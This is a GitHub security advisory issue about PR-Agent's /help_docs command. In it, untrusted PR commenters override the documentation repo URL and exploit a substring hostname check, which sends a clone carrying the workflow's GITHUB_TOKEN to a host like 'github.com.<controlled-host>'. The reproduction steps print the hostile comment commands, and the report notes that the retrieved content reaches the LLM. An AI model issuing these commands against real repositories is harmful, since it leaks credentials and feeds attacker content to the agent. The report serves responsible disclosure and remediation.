Skip to content

PR-Agent /help_docs allows untrusted commenters to override git clone target and exfiltrate GITHUB_TOKEN via weak hostname validation #2445

Description

@caonim20550

Git provider

Github Cloud

System Info

NA

Bug details

Hello Qodo Security Team,

I am reporting a security issue in PR-Agent affecting the /help_docs command path in GitHub Action deployments. I've reported this vulnerability via email, but it's been a week with no response.

Summary

PR-Agent allows attacker-controlled override of PR_HELP_DOCS.REPO_URL from comment commands. In GitHub mode, the clone URL validation only checks whether the supplied string contains "github.com" before embedding GITHUB_TOKEN into the git clone URL. This can allow untrusted PR commenters to trigger outbound clone requests to attacker-controlled hosts and influence the content retrieved by /help_docs.

Affected PR-Agent Version

Tested against:

  • qodo-ai/pr-agent@main
  • The-PR-Agent/pr-agent@main (same project / action path)
  • GitHub Actions-resolved commit: ac8d9df
  • Observed in the GitHub Action container path that builds from pragent/pr-agent:github_action

Relevant code locations:

  • pr_agent/agent/pr_agent.py:67-76
  • pr_agent/algo/cli_args.py:6-32
  • pr_agent/algo/utils.py:706-739
  • pr_agent/tools/pr_help_docs.py:292-296
  • pr_agent/tools/pr_help_docs.py:424-427
  • pr_agent/servers/github_action_runner.py:39-61
  • pr_agent/git_providers/github_provider.py:841-848
  • pr_agent/git_providers/github_provider.py:1193-1225

Description

In GitHub Action mode, PR-Agent accepts runtime argument overrides from comment commands such as:

/help_docs ... --pr_help_docs.repo_url=...

The CliArgs blocklist prevents overriding some sensitive keys such as api_base, openai.key, private_key, etc., but it does not block:

  • pr_help_docs.repo_url
  • pr_help_docs.repo_default_branch
  • pr_help_docs.docs_path

As a result, an untrusted comment can override PR_HELP_DOCS.REPO_URL, and /help_docs will use that value when cloning documentation content.

For GitHub, the clone URL preparation logic only checks whether the provided string contains "github.com". It does not parse the URL and validate the hostname structurally. After this weak check, PR-Agent embeds the GitHub token into the clone URL as:

https://<token>@<validated-host-fragment><remaining-path>

This creates a path where an attacker-controlled hostname that merely contains the string "github.com" can pass validation and be used as the target of git clone.

Security Impact

In a common GitHub Action setup, this issue can lead to:

  • attacker-controlled outbound git clone requests from the workflow runner
  • GITHUB_TOKEN being inserted into the outbound clone URL / authentication context
  • unintended retrieval of attacker-controlled content by /help_docs
  • downstream submission of retrieved content to the configured LLM provider

If a repository exposes /help_docs to untrusted PR commenters, this can become a credential exposure and outbound request issue.

Steps to Reproduce

The following reproduction was performed in a controlled public test repository using a GitHub Action setup that runs PR-Agent from issue_comment:

  • workflow trigger: issue_comment
  • action: qodo-ai/pr-agent@main
    equivalent repository/action naming also exists as The-PR-Agent/pr-agent
  • env contains GITHUB_TOKEN

Reproduction A: prove that repo_url is overrideable

  1. Create a PR in a repository that runs PR-Agent from issue_comment.
  2. Post this comment on the PR conversation:

/config --pr_help_docs.repo_url=https://github.com/qodo-ai/pr-agent.git --pr_help_docs.repo_default_branch=main --pr_help_docs.docs_path=docs/docs

  1. Observe that PR-Agent accepts the override and reports the updated values in logs / config output.

Observed in testing:

  • Updated setting PR_HELP_DOCS.REPO_URL to: "https://github.com/qodo-ai/pr-agent.git"
  • Updated setting PR_HELP_DOCS.REPO_DEFAULT_BRANCH to: "main"
  • Updated setting PR_HELP_DOCS.DOCS_PATH to: "docs/docs"

Reproduction B: prove that /help_docs will clone the supplied repository

  1. Post this comment on the same PR:

/help_docs "what docs exist" --pr_help_docs.repo_url=http://github.com/\<test-owner>/<test-repo> --pr_help_docs.repo_default_branch=main --pr_help_docs.docs_path=docs --pr_help_docs.supported_doc_exts=["md"]

  1. Observe that PR-Agent clones the supplied repository and reads documentation files from it.

Observed in testing:

  • About to clone repository: http://github.com/\<test-owner>/<test-repo> ...
  • will be using the following documentation files:
    • README.md
    • docs/guide.md

This confirms that the user-supplied repo_url reaches git clone.

Reproduction C: prove weak hostname validation with an external hostname containing github.com

  1. Post a comment such as:

/help_docs "what docs exist" --pr_help_docs.repo_url=github.com.<controlled-host>/owner/repo --pr_help_docs.repo_default_branch=main --pr_help_docs.docs_path=. --pr_help_docs.supported_doc_exts=["md"]

  1. Observe that PR-Agent does not reject the value at validation time, and instead proceeds to construct and use a clone URL targeting the supplied hostname.

Observed in controlled testing with an external hostname containing github.com:

  • About to clone repository: github.com.<controlled-host>/sss/sss ...
  • PR-Agent attempted:
    git clone https://***@github.com.<controlled-host>/sss/sss
  • The request was not blocked by PR-Agent validation.
  • Follow-up validation confirmed that this hostname pattern can successfully trigger the external clone path.

Expected Behavior

  • /help_docs should not allow untrusted runtime override of PR_HELP_DOCS.REPO_URL, or it should require a maintainer-only context.
  • GitHub provider clone validation should parse the URL and require the hostname to exactly match an allowed GitHub host, for example github.com, not merely contain that string.
  • The GitHub token should not be embedded into the clone URL.

Root Cause

There are three contributing issues:

  1. Comment arguments can update settings at runtime:

    • pr_agent/agent/pr_agent.py:67-76
    • pr_agent/algo/utils.py:706-739
  2. The argument blocklist does not forbid pr_help_docs.repo_url:

    • pr_agent/algo/cli_args.py:6-32
  3. GitHub clone URL preparation uses string containment instead of structured hostname validation, then embeds the token into the URL:

    • pr_agent/git_providers/github_provider.py:1213
    • pr_agent/git_providers/github_provider.py:1224

Suggested Remediation

  1. Do not allow runtime override of PR_HELP_DOCS.REPO_URL from comment commands.
  2. Parse repo_url with a URL parser and validate the hostname exactly against an allowlist.
  3. Reject URLs containing userinfo.
  4. Do not place tokens in the clone URL. Use a safer authentication method for Git operations.
  5. Consider hard-failing when /help_docs is asked to clone a repository outside the current PR repository unless explicitly enabled by trusted configuration.

Additional Notes

  • In the tested workflow, issue_comment could trigger PR-Agent for any non-bot commenter because the workflow did not check author_association. This increases exploitability, but the core bug described here is inside PR-Agent handling of /help_docs and GitHub clone URL construction.
  • The observed workflow runs remained green even when /help_docs failed internally, which may hide exploitation attempts or operational failures.

Regards

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions